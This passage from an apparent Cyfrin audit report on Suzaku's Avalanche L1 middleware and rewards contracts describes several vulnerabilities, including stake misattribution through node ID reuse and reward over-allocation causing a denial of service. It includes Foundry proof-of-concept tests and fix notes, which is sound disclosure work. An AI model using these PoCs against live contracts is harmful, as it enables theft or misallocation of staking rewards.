- Operator A may unjustly receive rewards that should have been attributed based on Operator B's capital and operational efforts, leading to a direct misallocation in rewards.

Proof of Concept:

1. **Epoch E0:** Operator A registers node `N1` using `bytes32 nodeId_X`. This registration is processed by `BalancerValidatorManager`, resulting in L1 `validationID_A1` associated with the P-Chain NodeID `P_X` (derived from `nodeId_X`). Operator A has `stake_A`. `nodeId_X` is permanently recorded in `operatorNodes[A]`.
2. **Epoch E1:** Node `N1` (`validationID_A1`) is fully removed from `BalancerValidatorManager`. The P-Chain NodeID `P_X` becomes available for a new L1 registration. `nodeId_X` remains in Operator A's historical record (`operatorNodes[A]`).
3. **Epoch E2:**
   - Operator B, in coordination with or having knowledge of Operator A's prior use of `nodeId_X` and the availability of `P_X` on L1, calls `AvalancheL1Middleware.addNode()` providing the *exact same* *`bytes32 nodeId_X`*.
   - Operator B provides their own valid BLS key. Their node software uses its own valid TLS key that allows it to be associated with the P-Chain NodeID `P_X` during L1 registration (assuming `BalancerValidatorManager` either uses the input `P_X` as the primary identifier or that Operator B's TLS key happens to also correspond to `P_X` if strict matching is done).
   - `BalancerValidatorManager` successfully registers this new L1 instance for P-Chain NodeID `P_X`, assigning it a new L1 `validationID_B2`. Operator B stakes `stake_B`. `nodeId_X` is now also recorded in `operatorNodes[B]`.
4. **Querying for Operator A's Stake in Epoch E2:**
   - A call is made to `l1Middleware.getOperatorUsedStakeCachedPerEpoch(E2, A, PRIMARY_ASSET_CLASS)`.
   - `getActiveNodesForEpoch(A, E2)` is invoked. It finds the historical `nodeId_X` in `operatorNodes[A]`.
   - It converts `nodeId_X` to `P_X`.
   - The call `balancerValidatorManager.registeredValidators(P_X)` now returns `validationID_B2` (Operator B's currently active L1 instance for `P_X`).
   - The function proceeds to use `validationID_B2` to fetch L1 validator details and then `nodeStakeCache[E2][validationID_B2]` to get the stake.
   - **Result:** `stake_B` (Operator B's stake) is erroneously added to Operator A's total "used stake" for Epoch E2.

The following coded PoC can be run with the `AvalancheL1MiddlewareTest`'s setup:

```
    function test_POC_MisattributedStake_NodeIdReused() public {
        console2.log("--- POC: Misattributed Stake due to NodeID Reuse ---");

        address operatorA = alice;
        address operatorB = charlie; // Using charlie as Operator B

        // Use a specific, predictable nodeId for the test
        bytes32 sharedNodeId_X = keccak256(abi.encodePacked("REUSED_NODE_ID_XYZ"));
        bytes memory blsKey_A = hex"A1A1A1";
        bytes memory blsKey_B = hex"B2B2B2"; // Operator B uses a different BLS key
        uint64 registrationExpiry = uint64(block.timestamp + 2 days);
        address[] memory ownerArr = new address[](1);
```

```
ownerArr[0] = operatorA; // For simplicity, operator owns the PChainOwner
PChainOwner memory pchainOwner_A = PChainOwner({threshold: 1, addresses: ownerArr});
ownerArr[0] = operatorB;
PChainOwner memory pchainOwner_B = PChainOwner({threshold: 1, addresses: ownerArr});


// Ensure operators have some stake in the vault
uint256 stakeAmountOpA = 20_000_000_000_000; // e.g., 20k tokens
uint256 stakeAmountOpB = 30_000_000_000_000; // e.g., 30k tokens

// Operator A deposits and sets shares
collateral.transfer(staker, stakeAmountOpA);
vm.startPrank(staker);
collateral.approve(address(vault), stakeAmountOpA);
(,uint256 sharesA) = vault.deposit(operatorA, stakeAmountOpA);
vm.stopPrank();
_setOperatorL1Shares(bob, validatorManagerAddress, assetClassId, operatorA, sharesA, delegator);

// Operator B deposits and sets shares (can use the same vault or a different one)
collateral.transfer(staker, stakeAmountOpB);
vm.startPrank(staker);
collateral.approve(address(vault), stakeAmountOpB);
(,uint256 sharesB) = vault.deposit(operatorB, stakeAmountOpB);
vm.stopPrank();
_setOperatorL1Shares(bob, validatorManagerAddress, assetClassId, operatorB, sharesB, delegator);

_calcAndWarpOneEpoch(); // Ensure stakes are recognized

// --- Epoch E0: Operator A registers node N1 using sharedNodeId_X ---
console2.log("Epoch E0: Operator A registers node with sharedNodeId_X");
uint48 epochE0 = middleware.getCurrentEpoch();
vm.prank(operatorA);
middleware.addNode(sharedNodeId_X, blsKey_A, registrationExpiry, pchainOwner_A, pchainOwner_A,
↪  0);
uint32 msgIdx_A1_add = mockValidatorManager.nextMessageIndex() - 1;

// Get the L1 validationID for Operator A's node
bytes memory pchainNodeId_P_X_bytes = abi.encodePacked(uint160(uint256(sharedNodeId_X)));
bytes32 validationID_A1 = mockValidatorManager.registeredValidators(pchainNodeId_P_X_bytes);
console2.log("Operator A's L1 validationID_A1:", vm.toString(validationID_A1));

vm.prank(operatorA);
middleware.completeValidatorRegistration(operatorA, sharedNodeId_X, msgIdx_A1_add);

_calcAndWarpOneEpoch(); // Move to E0 + 1 for N1 to be active
epochE0 = middleware.getCurrentEpoch(); // Update epochE0 to where node is active

uint256 stake_A_on_N1 = middleware.getNodeStake(epochE0, validationID_A1);
assertGt(stake_A_on_N1, 0, "Operator A's node N1 should have stake in Epoch E0");
console2.log("Stake of Operator A on node N1 (validationID_A1) in Epoch E0:",
↪  vm.toString(stake_A_on_N1));

bytes32[] memory activeNodes_A_E0 = middleware.getActiveNodesForEpoch(operatorA, epochE0);
assertEq(activeNodes_A_E0.length, 1, "Operator A should have 1 active node in E0");
assertEq(activeNodes_A_E0[0], sharedNodeId_X, "Active node for A in E0 should be
↪  sharedNodeId_X");

// --- Epoch E1: Node N1 (validationID_A1) is fully removed ---
console2.log("Epoch E1: Operator A removes node N1 (validationID_A1)");
_calcAndWarpOneEpoch();
uint48 epochE1 = middleware.getCurrentEpoch();
```

```
vm.prank(operatorA);
middleware.removeNode(sharedNodeId_X);
uint32 msgIdx_A1_remove = mockValidatorManager.nextMessageIndex() - 1;

_calcAndWarpOneEpoch(); // To process removal in cache
epochE1 = middleware.getCurrentEpoch(); // Update E1 to where removal is cached

assertEq(middleware.getNodeStake(epochE1, validationID_A1), 0, "Stake for validationID_A1
↪  should be 0 after removal in cache");

vm.prank(operatorA);
middleware.completeValidatorRemoval(msgIdx_A1_remove); // L1 confirms removal

console2.log("P-Chain NodeID P_X (derived from sharedNodeId_X) is now considered available on
↪  L1.");

activeNodes_A_E0 = middleware.getActiveNodesForEpoch(operatorA, epochE1); // Check active nodes
↪  for A in E1
assertEq(activeNodes_A_E0.length, 0, "Operator A should have 0 active nodes in E1 after
↪  removal");

// --- Epoch E2: Operator B re-registers a node N2 using the *exact same sharedNodeId_X* ---
console2.log("Epoch E2: Operator B registers a new node N2 using the same sharedNodeId_X");
_calcAndWarpOneEpoch();
uint48 epochE2 = middleware.getCurrentEpoch();

vm.prank(operatorB);
middleware.addNode(sharedNodeId_X, blsKey_B, registrationExpiry, pchainOwner_B, pchainOwner_B,
↪  0);
uint32 msgIdx_B2_add = mockValidatorManager.nextMessageIndex() - 1;

// Get the L1 validationID for Operator B's new node (N2)
bytes32 validationID_B2 = mockValidatorManager.registeredValidators(pchainNodeId_P_X_bytes);
console2.log("Operator B's new L1 validationID_B2 for sharedNodeId_X:",
↪  vm.toString(validationID_B2));
assertNotEq(validationID_A1, validationID_B2, "L1 validationID for B's node should be different
↪  from A's old one");

vm.prank(operatorB);
middleware.completeValidatorRegistration(operatorB, sharedNodeId_X, msgIdx_B2_add);

_calcAndWarpOneEpoch(); // Move to E2 + 1 for N2 to be active
epochE2 = middleware.getCurrentEpoch(); // Update epochE2 to where node is active

uint256 stake_B_on_N2 = middleware.getNodeStake(epochE2, validationID_B2);
assertGt(stake_B_on_N2, 0, "Operator B's node N2 should have stake in Epoch E2");
console2.log("Stake of Operator B on node N2 (validationID_B2) in Epoch E2:",
↪  vm.toString(stake_B_on_N2));

bytes32[] memory activeNodes_B_E2 = middleware.getActiveNodesForEpoch(operatorB, epochE2);
assertEq(activeNodes_B_E2.length, 1, "Operator B should have 1 active node in E2");
assertEq(activeNodes_B_E2[0], sharedNodeId_X);


// --- Querying for Operator A's Stake in Epoch E2 (THE VULNERABILITY) ---
console2.log("Querying Operator A's used stake in Epoch E2 (where B's node is active with
↪  sharedNodeId_X)");

// Ensure caches are up-to-date for Operator A for epoch E2
middleware.calcAndCacheStakes(epochE2, middleware.PRIMARY_ASSET_CLASS());
```

```
        uint256 usedStake_A_E2 = middleware.getOperatorUsedStakeCachedPerEpoch(epochE2, operatorA,
        ↪  middleware.PRIMARY_ASSET_CLASS());
        console2.log("Calculated 'used stake' for Operator A in Epoch E2: ",
        ↪  vm.toString(usedStake_A_E2));
        // ASSERTION: Operator A's used stake should be 0 in epoch E2, as their node was removed in E1.
        // However, due to the issue, it will pick up Operator B's stake.
        assertEq(usedStake_A_E2, stake_B_on_N2, "FAIL: Operator A's used stake in E2 is misattributed
        ↪  with Operator B's stake!");

        // Let's ensure B's node is indeed seen as active by the mock in E2
        Validator memory validator_B2_details = mockValidatorManager.getValidator(validationID_B2);
        uint48 epochE2_startTs = middleware.getEpochStartTs(epochE2);
        bool b_node_active_in_e2 = uint48(validator_B2_details.startedAt) <= epochE2_startTs &&
                                   (validator_B2_details.endedAt == 0 ||
                                   ↪  uint48(validator_B2_details.endedAt) >= epochE2_startTs);
        assertTrue(b_node_active_in_e2, "Operator B's node (validationID_B2) should be active in Epoch
        ↪  E2");

        console2.log("--- PoC End ---");
    }
```

Output:

```
Ran 1 test for test/middleware/AvalancheL1MiddlewareTest.t.sol:AvalancheL1MiddlewareTest
[PASS] test_POC_MisattributedStake_NodeIdReused() (gas: 2012990)
Logs:
  --- POC: Misattributed Stake due to NodeID Reuse ---
  Epoch E0: Operator A registers node with sharedNodeId_X
  Operator A's L1 validationID_A1: 0x2f034f048644fc181bae4bb9cab7d7c67065f4763bd63c7a694231d82397709d
  Stake of Operator A on node N1 (validationID_A1) in Epoch E0: 160000000000800
  Epoch E1: Operator A removes node N1 (validationID_A1)
  P-Chain NodeID P_X (derived from sharedNodeId_X) is now considered available on L1.
  Epoch E2: Operator B registers a new node N2 using the same sharedNodeId_X
  Operator B's new L1 validationID_B2 for sharedNodeId_X:
  ↪  0xe42be7d4d8b89ec6045a7938c29cb3ad84e0852269c9ce43f370002f92894cde
  Stake of Operator B on node N2 (validationID_B2) in Epoch E2: 240000000001200
  Querying Operator A's used stake in Epoch E2 (where B's node is active with sharedNodeId_X)
  Calculated 'used stake' for Operator A in Epoch E2:  240000000001200
  --- PoC End ---

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.58ms (1.30ms CPU time)

Ran 1 test suite in 142.55ms (4.58ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: The `AvalancheL1Middleware` must ensure that when calculating an operator's historical stake, it strictly associates the activity with the L1 validator instances *that operator originally registered*.

1. **Store L1** `validationID` **with Original Registration:** When an operator (e.g., Operator A) registers a `middlewareNodeId` (e.g., `nodeId_X`), the unique L1 `validationID` (e.g., `validationID_A1`) returned by `BalancerValidatorManager` must be durably linked to Operator A and `nodeId_X` for that specific registration lifecycle within the middleware.
2. **Modify** `getActiveNodesForEpoch` **Logic:**
   - When `getActiveNodesForEpoch(A, epoch)` is called, it should iterate through the `(middlewareNodeId, original_l1_validationID)` pairs that Operator A historically registered.
   - For each `original_l1_validationID` (e.g., `validationID_A1`):
     - Query `balancerValidatorManager.getValidator(validationID_A1)` to get its historical `startedAt` and `endedAt` times.

  - If this specific instance `validationID_A1` was active during the queried `epoch`, then use `validationID_A1` to look up stake in `nodeStakeCache`.
- This prevents the lookup from "slipping" to a newer `validationID` (like `validationID_B2`) that might currently be associated with the reused P-Chain NodeID `P_X` on L1 but was not the instance Operator A managed.

Suzaku: Fixed in commit 2a88616.

Cyfrin: Verified.

7.3.10 Incorrect inclusion of removed nodes in `_requireMinSecondaryAssetClasses` during `forceUpdateNodes`

Description: The function `_requireMinSecondaryAssetClasses` is utilized within the `forceUpdateNodes` process. During execution, if a node is removed in the first iteration, the subsequent iteration still includes the removed node in the `_requireMinSecondaryAssetClasses` computation because the node remains in the list until the full removal process completes.

```
if ((newStake < assetClasses[PRIMARY_ASSET_CLASS].minValidatorStake)
                    || !_requireMinSecondaryAssetClasses(0, operator)) {
      newStake = 0;
      _initializeEndValidationAndFlag(operator, valID, nodeId);
}
```

Example Scenario:

1. `forceUpdateNodes` is invoked for an operator managing 5 nodes and the operator stake dropped from the last epoch.
2. On the first iteration, the first node is removed due to a drop in the value of `_requireMinSecondaryAssetClasses` is executed.
3. On the second iteration, while checking if the second node should be removed, `_requireMinSecondaryAssetClasses` incorrectly includes the previously removed first node in its calculations, even though it is slated for removal. This will ultimately remove all five nodes.

This problem will occur only if the last epoch's operator stake dropped and the `limitStake` is a small value.

Impact: This behaviour can lead to inaccurate evaluations during node removal decisions. The presence of nodes marked for removal after the `_requireMinSecondaryAssetClasses` calculations can cause the system to misjudge whether the minimum requirements for secondary asset classes are met. This may result in either:

- Preventing necessary node removals, thereby retaining nodes that should be removed, or
- Causing inconsistencies in node state management, potentially affecting operator performance and system integrity.

Proof of concept:

```
function test_AddNodes_AndThenForceUpdate() public {
       // Move to the next epoch so we have a clean slate
       uint48 epoch = _calcAndWarpOneEpoch();

       // Prepare node data
       bytes32 nodeId = 0x000000000000000000000000039a662260f928d2d98ab5ad93aa7af8e0ee4d426;
       bytes memory blsKey = hex"1234";
       uint64 registrationExpiry = uint64(block.timestamp + 2 days);
       bytes32 nodeId1 = 0x000000000000000000000000039a662260f928d2d98ab5ad93aa7af8e0ee4d626;
       bytes memory blsKey1 = hex"1235";
       bytes32 nodeId2 = 0x000000000000000000000000039a662260f928d2d98ab5ad93aa7af8e0ee4d526;
       bytes memory blsKey2 = hex"1236";
       address[] memory ownerArr = new address[](1);
       ownerArr[0] = alice;
```

```
        PChainOwner memory ownerStruct = PChainOwner({threshold: 1, addresses: ownerArr});

        // Add node
        vm.prank(alice);
        middleware.addNode(nodeId, blsKey, registrationExpiry, ownerStruct, ownerStruct, 0);
        bytes32 validationID =
        ↪  mockValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId))));

        vm.prank(alice);

        middleware.addNode(nodeId1, blsKey1, registrationExpiry, ownerStruct, ownerStruct, 0);
        bytes32 validationID1 =
        ↪  mockValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId1))));

        vm.prank(alice);

        middleware.addNode(nodeId2, blsKey2, registrationExpiry, ownerStruct, ownerStruct, 0);
        bytes32 validationID2 =
        ↪  mockValidatorManager.registeredValidators(abi.encodePacked(uint160(uint256(nodeId2))));

        // Check node stake from the public getter
        uint256 nodeStake = middleware.getNodeStake(epoch, validationID);
        assertGt(nodeStake, 0, "Node stake should be >0 right after add");

        bytes32[] memory activeNodesBeforeConfirm = middleware.getActiveNodesForEpoch(alice, epoch);
        assertEq(activeNodesBeforeConfirm.length, 0, "Node shouldn't appear active before confirmation");

        vm.prank(alice);
        // messageIndex = 0 in this scenario
        middleware.completeValidatorRegistration(alice, nodeId, 0);
        middleware.completeValidatorRegistration(alice, nodeId1, 1);

        middleware.completeValidatorRegistration(alice, nodeId2, 2);

        vm.startPrank(staker);
        (uint256 burnedShares, uint256 mintedShares_) = vault.withdraw(staker, 10_000_000);
        vm.stopPrank();

        _calcAndWarpOneEpoch();

        _setupAssetClassAndRegisterVault(2, 5, collateral2, vault3, 3000 ether, 2500 ether, delegator3);
        collateral2.transfer(staker, 10);
        vm.startPrank(staker);
        collateral2.approve(address(vault3), 10);
        (uint256 depositUsedA, uint256 mintedSharesA) = vault3.deposit(staker, 10);
        vm.stopPrank();

        _warpToLastHourOfCurrentEpoch();

        middleware.forceUpdateNodes(alice, 0);
        assertEq(middleware.nodePendingRemoval(validationID), false);
    }
```

Recommended Mitigation: Consider changing the implementation of `_requireMinSecondaryAssetClasses` to accept an `int256` parameter instead of a `uint256`. In the `forceUpdateNodes method`, if a node is removed, increment a counter and pass a negative value equal to the number of removed nodes. If node removal occurs across multiple epochs, consider making the solution more robust, for example creating a counter of nodes, which are in process of removing.

```
- function _requireMinSecondaryAssetClasses(uint256 extraNode, address operator) internal view returns
↪  (bool) {
```

```
+ function _requireMinSecondaryAssetClasses(int256 extraNode, address operator) internal view returns
↪  (bool) {
        uint48 epoch = getCurrentEpoch();
        uint256 nodeCount = operatorNodesArray[operator].length; // existing nodes

        uint256 secCount = secondaryAssetClasses.length();
        if (secCount == 0) {
            return true;
        }
        for (uint256 i = 0; i < secCount; i++) {
            uint256 classId = secondaryAssetClasses.at(i);
            uint256 stake = getOperatorStake(operator, epoch, uint96(classId));
            // Check ratio vs. class's min stake, could add an emit here to debug
            if (stake / (nodeCount + extraNode) < assetClasses[classId].minValidatorStake) {
                return false;
            }
        }
        return true;
    }
```

Suzaku: Fixed in commit 91ae0e3.

Cyfrin: Verified.

7.3.11 Rewards system DOS due to unchecked asset class share and fee allocations

Description: The REWARDS_MANAGER_ROLE can set asset class reward shares without validating that the total allocation does not exceed 100%. This enables over-allocation of rewards, leading to potential insolvency and denial of service for later claimers.

A similar issue exists when assigning fee% for protocol, operator and curator. When setting each of these fees, current logic only checks that fee is less than 100% but fails to check that the cumulative fees is less than 100%.

In this issue, we focus on the asset class share issue as that is more likely to occur, specially when there are multiple assets at play.

`Rewards::setRewardsShareForAssetClass()` function lacks validation to ensure total asset class shares do not exceed 100%:

```
function setRewardsShareForAssetClass(uint96 assetClass, uint16 share) external
↪  onlyRole(REWARDS_MANAGER_ROLE) {
    if (share > BASIS_POINTS_DENOMINATOR) revert InvalidShare(share);
    rewardsSharePerAssetClass[assetClass] = share;  // @audit No total validation
    emit RewardsShareUpdated(assetClass, share);
}
```

`_calculateOperatorShare()` function sums these shares without bounds checking resulting in potentially inflated numbers:

```
for (uint256 i = 0; i < assetClasses.length; i++) {
    uint16 assetClassShare = rewardsSharePerAssetClass[assetClasses[i]];
    uint256 shareForClass = Math.mulDiv(operatorStake * BASIS_POINTS_DENOMINATOR / totalStake,
    ↪  assetClassShare, BASIS_POINTS_DENOMINATOR);
    totalShare += shareForClass; // @audit Can exceed 100%
}
```

Similarly, `claimOperatorFee` just assumes that the `operatorShare` is less than 100% which will only be true if the reward share validation exists.

```
 function claimOperatorFee(address rewardsToken, address recipient) external {
   // code..
```

```
    for (uint48 epoch = lastClaimedEpoch + 1; epoch < currentEpoch; epoch++) {
            uint256 operatorShare = operatorShares[epoch][msg.sender];
            if (operatorShare == 0) continue;

            // get rewards amount per token for epoch
            uint256 rewardsAmount = rewardsAmountPerTokenFromEpoch[epoch].get(rewardsToken);
            if (rewardsAmount == 0) continue;

            uint256 operatorRewards = Math.mulDiv(rewardsAmount, operatorShare,
            ↪  BASIS_POINTS_DENOMINATOR); //@audit this can exceed reward amount - no check here
            totalRewards += operatorRewards;
        }

}
```

Impact:

- Over-allocation: Admin sets asset class shares totaling > 100%
- In extreme case, can cause insolvency for the last batch of claimers. All rewards were claimed by earlier users leaving nothing left to claim for later user.

Proof of Concept: Run the test in `RewardsTest.t.sol`. Note that, to demonstrate this test, following changes were made to `setup()`:

```
        // mint only 100000 tokens instead of 1 million
        rewardsToken = new ERC20Mock();
        rewardsToken.mint(REWARDS_DISTRIBUTOR_ROLE, 100_000 * 10 ** 18);
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewardsToken.approve(address(rewards), 100_000 * 10 ** 18);

        // disribute only to 1 epoch instead of 10
       console2.log("Setting up rewards distribution per epoch...");
        uint48 startEpoch = 1;
        uint48 numberOfEpochs = 1;
        uint256 rewardsAmount = 100_000 * 10 ** 18;
```

```
    function test_DOS_RewardShareSumGreaterThan100Pct() public {
        console2.log("=== TEST BEGINS ===");


        // 1: Modify fee structure to make operators get 100% of rewards
        // this is done just to demonstrate insolvency
        vm.startPrank(REWARDS_MANAGER_ROLE);
        rewards.updateProtocolFee(0);     // 0% - no protocol fee
        rewards.updateOperatorFee(10000); // 100% - operators get everything
        rewards.updateCuratorFee(0);      // 0% - no curator fee
        vm.stopPrank();

        // 2: Set asset class shares > 100%
        vm.startPrank(REWARDS_MANAGER_ROLE);
        rewards.setRewardsShareForAssetClass(1, 8000); // 80%
        rewards.setRewardsShareForAssetClass(2, 7000); // 70%
        rewards.setRewardsShareForAssetClass(3, 5000); // 50%
        // Total: 200%
        vm.stopPrank();

        // 3: Use existing working setup for stakes
        uint48 epoch = 1;
        _setupStakes(epoch, 4 hours);
```

```
        // 4: Distribute rewards
        vm.warp((epoch + 3) * middleware.EPOCH_DURATION());
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.distributeRewards(epoch, 10);

        //5: Check operator shares (should be inflated due to 200% asset class shares)
        address[] memory operators = middleware.getAllOperators();
        uint256 totalOperatorShares = 0;

        for (uint256 i = 0; i < operators.length; i++) {
            uint256 opShare = rewards.operatorShares(epoch, operators[i]);
            totalOperatorShares += opShare;
        }
        console2.log("Total operator shares: ", totalOperatorShares);
        assertGt(totalOperatorShares, rewards.BASIS_POINTS_DENOMINATOR(),
                "VULNERABILITY: Total operator shares exceed 100%");

        //DOS when 6'th operator tries to claim rewards
        vm.warp((epoch + 1) * middleware.EPOCH_DURATION());
        for (uint256 i = 0; i < 5; i++) {
             vm.prank(operators[i]);
            rewards.claimOperatorFee(address(rewardsToken), operators[i]);
        }

        vm.expectRevert();
        vm.prank(operators[5]);
        rewards.claimOperatorFee(address(rewardsToken), operators[5]);

    }
```

Recommended Mitigation: Consider adding validation in `setRewardsShareForAssetClass` to enforce that total share across all assets does not exceed 100%.

```
function setRewardsShareForAssetClass(uint96 assetClass, uint16 share) external
↪   onlyRole(REWARDS_MANAGER_ROLE) {
    if (share > BASIS_POINTS_DENOMINATOR) revert InvalidShare(share);

    // Calculate total shares including the new one
    uint96[] memory allAssetClasses = l1Middleware.getAssetClassIds();
    uint256 totalShares = share;

    for (uint256 i = 0; i < allAssetClasses.length; i++) {
        if (allAssetClasses[i] != assetClass) {
            totalShares += rewardsSharePerAssetClass[allAssetClasses[i]];
        }
    }

    if (totalShares > BASIS_POINTS_DENOMINATOR) {
        revert TotalAssetClassSharesExceed100Percent(totalShares); //@audit this check ensures proper
        ↪  distribution
    }

    rewardsSharePerAssetClass[assetClass] = share;
    emit RewardsShareUpdated(assetClass, share);
}
```

Consider adding similar validation in functions such as `updateProtocolFee`, `updateOperatorFee`, `updateCuratorFee`.

Suzaku: Fixed in commit 001cf04.

Cyfrin: Verified.

7.3.12 Operators can lose their reward share

Description: The `Rewards::distributeRewards` function distributes rewards for epochs that are at least two epochs older than the current one. However, when calculating and distributing these rewards, the contract fetches the list of operators using `l1Middleware.getAllOperators()`, which returns the current set of operators. If an operator was active during the target epoch but has since been disabled and removed before the rewards distribution, they will not be included in the current operator list. This can occur if the `SLASHING_WINDOW` in `AvalancheL1Middleware` is shorter than `2 * epochDuration`.

Impact: Operators who were legitimately active and eligible for rewards in a given epoch may lose their rewards if they are disabled and removed before the rewards distribution occurs. This allows the contract owner (or any entity with the authority to remove operators) to manipulate the operator set and exclude operators from receiving rewards for epochs in which they were still enabled (intentionally or not), resulting in unfair loss of rewards and potential trust issues in the protocol.

Proof of Concept:

1. Change the `MockAvalancheL1Middleware.sol` to:

```
// SPDX-License-Identifier: MIT
// SPDX-FileCopyrightText: Copyright 2024 ADDPHO

pragma solidity 0.8.25;

contract MockAvalancheL1Middleware {
    uint48 public constant EPOCH_DURATION = 4 hours;
    uint48 public constant SLASHING_WINDOW = 5 hours;
    address public immutable L1_VALIDATOR_MANAGER;
    address public immutable VAULT_MANAGER;

    mapping(uint48 => mapping(bytes32 => uint256)) public nodeStake;
    mapping(uint48 => mapping(uint96 => uint256)) public totalStakeCache;
    mapping(uint48 => mapping(address => mapping(uint96 => uint256))) public operatorStake;
    mapping(address asset => uint96 assetClass) public assetClassAsset;

    // Replace constant arrays with state variables
    address[] private OPERATORS;
    bytes32[] private VALIDATION_ID_ARRAY;

    // Add mapping from operator to their node IDs
    mapping(address => bytes32[]) private operatorToNodes;

    // Track operator status
    mapping(address => bool) public isEnabled;
    mapping(address => uint256) public disabledTime;

    uint96 primaryAssetClass = 1;
    uint96[] secondaryAssetClasses = [2, 3];

    constructor(
        uint256 operatorCount,
        uint256[] memory nodesPerOperator,
        address balancerValidatorManager,
        address vaultManager
    ) {
        require(operatorCount > 0, "At least one operator required");
        require(operatorCount == nodesPerOperator.length, "Arrays length mismatch");

        L1_VALIDATOR_MANAGER = balancerValidatorManager;
        VAULT_MANAGER = vaultManager;
```

```
        // Generate operators
        for (uint256 i = 0; i < operatorCount; i++) {
            address operator = address(uint160(0x1000 + i));
            OPERATORS.push(operator);
            isEnabled[operator] = true; // Initialize as enabled

            uint256 nodeCount = nodesPerOperator[i];
            require(nodeCount > 0, "Each operator must have at least one node");

            bytes32[] memory operatorNodes = new bytes32[](nodeCount);

            for (uint256 j = 0; j < nodeCount; j++) {
                bytes32 nodeId = keccak256(abi.encode(operator, j));
                operatorNodes[j] = nodeId;
                VALIDATION_ID_ARRAY.push(nodeId);
            }

            operatorToNodes[operator] = operatorNodes;
        }
    }

    function disableOperator(address operator) external {
        require(isEnabled[operator], "Operator not enabled");
        disabledTime[operator] = block.timestamp;
        isEnabled[operator] = false;
    }

    function removeOperator(address operator) external {
        require(!isEnabled[operator], "Operator is still enabled");
        require(block.timestamp >= disabledTime[operator] + SLASHING_WINDOW, "Slashing window not
        ↪  passed");

        // Remove operator from OPERATORS array
        for (uint256 i = 0; i < OPERATORS.length; i++) {
            if (OPERATORS[i] == operator) {
                OPERATORS[i] = OPERATORS[OPERATORS.length - 1];
                OPERATORS.pop();
                break;
            }
        }
    }

    function setTotalStakeCache(uint48 epoch, uint96 assetClass, uint256 stake) external {
        totalStakeCache[epoch][assetClass] = stake;
    }

    function setOperatorStake(uint48 epoch, address operator, uint96 assetClass, uint256 stake)
    ↪  external {
        operatorStake[epoch][operator][assetClass] = stake;
    }

    function setNodeStake(uint48 epoch, bytes32 nodeId, uint256 stake) external {
        nodeStake[epoch][nodeId] = stake;
    }

    function getNodeStake(uint48 epoch, bytes32 nodeId) external view returns (uint256) {
        return nodeStake[epoch][nodeId];
    }

    function getCurrentEpoch() external view returns (uint48) {
        return getEpochAtTs(uint48(block.timestamp));
```

```
    }

    function getAllOperators() external view returns (address[] memory) {
        return OPERATORS;
    }

    function getOperatorUsedStakeCachedPerEpoch(
        uint48 epoch,
        address operator,
        uint96 assetClass
    ) external view returns (uint256) {
        if (assetClass == 1) {
            bytes32[] storage nodesArr = operatorToNodes[operator];
            uint256 stake = 0;

            for (uint256 i = 0; i < nodesArr.length; i++) {
                bytes32 nodeId = nodesArr[i];
                stake += this.getNodeStake(epoch, nodeId);
            }
            return stake;
        } else {
            return this.getOperatorStake(operator, epoch, assetClass);
        }
    }

    function getOperatorStake(address operator, uint48 epoch, uint96 assetClass) external view returns
    ↪  (uint256) {
        return operatorStake[epoch][operator][assetClass];
    }

    function getEpochAtTs(uint48 timestamp) public pure returns (uint48) {
        return timestamp / EPOCH_DURATION;
    }

    function getEpochStartTs(uint48 epoch) external pure returns (uint256) {
        return epoch * EPOCH_DURATION + 1;
    }

    function getActiveAssetClasses() external view returns (uint96, uint96[] memory) {
        return (primaryAssetClass, secondaryAssetClasses);
    }

    function getAssetClassIds() external view returns (uint96[] memory) {
        uint96[] memory assetClasses = new uint96[](3);
        assetClasses[0] = primaryAssetClass;
        assetClasses[1] = secondaryAssetClasses[0];
        assetClasses[2] = secondaryAssetClasses[1];
        return assetClasses;
    }

    function getActiveNodesForEpoch(address operator, uint48) external view returns (bytes32[] memory) {
        return operatorToNodes[operator];
    }

    function getOperatorNodes(address operator) external view returns (bytes32[] memory) {
        return operatorToNodes[operator];
    }

    function getAllValidationIds() external view returns (bytes32[] memory) {
        return VALIDATION_ID_ARRAY;
    }
```

```
    function isAssetInClass(uint256 assetClass, address asset) external view returns (bool) {
        uint96 assetClassRegistered = assetClassAsset[asset];
        if (assetClassRegistered == assetClass) {
            return true;
        }
        return false;
    }

    function setAssetInAssetClass(uint96 assetClass, address asset) external {
        assetClassAsset[asset] = assetClass;
    }

    function getVaultManager() external view returns (address) {
        return VAULT_MANAGER;
    }
}
```

2. Add the following test to the `RewardsTest.t.sol`:

```
function test_distributeRewards_removedOperator() public {
    uint48 epoch = 1;
    uint256 uptime = 4 hours;

    // Set up stakes for operators in epoch 1
    _setupStakes(epoch, uptime);

    // Get the list of operators
    address[] memory operators = middleware.getAllOperators();
    address removedOperator = operators[0]; // Operator to be removed
    address activeOperator = operators[1]; // Operator to remain active

    // Disable operator[0] at the start of epoch 2
    uint256 epoch2Start = middleware.getEpochStartTs(epoch + 1); // T = 8h
    vm.warp(epoch2Start);
    middleware.disableOperator(removedOperator);

    // Warp to after the slashing window to allow removal
    uint256 removalTime = epoch2Start + middleware.SLASHING_WINDOW(); // T = 13h (8h + 5h)
    vm.warp(removalTime);
    middleware.removeOperator(removedOperator);

    // Warp to epoch 4 to distribute rewards for epoch 1
    uint256 distributionTime = middleware.getEpochStartTs(epoch + 3); // T = 16h
    vm.warp(distributionTime);

    // Distribute rewards in batches
    uint256 batchSize = 3;
    uint256 remainingOperators = middleware.getAllOperators().length; // Now 9 operators
    while (remainingOperators > 0) {
        vm.prank(REWARDS_DISTRIBUTOR_ROLE);
        rewards.distributeRewards(epoch, uint48(batchSize));
        remainingOperators = remainingOperators > batchSize ? remainingOperators - batchSize : 0;
    }

    // Verify that the removed operator has zero shares
    assertEq(
        rewards.operatorShares(epoch, removedOperator),
        0,
        "Removed operator should have zero shares despite being active in epoch 1"
    );

    // Verify that an active operator has non-zero shares
```

```
    assertGt(
        rewards.operatorShares(epoch, activeOperator),
        0,
        "Active operator should have non-zero shares"
    );
}
```

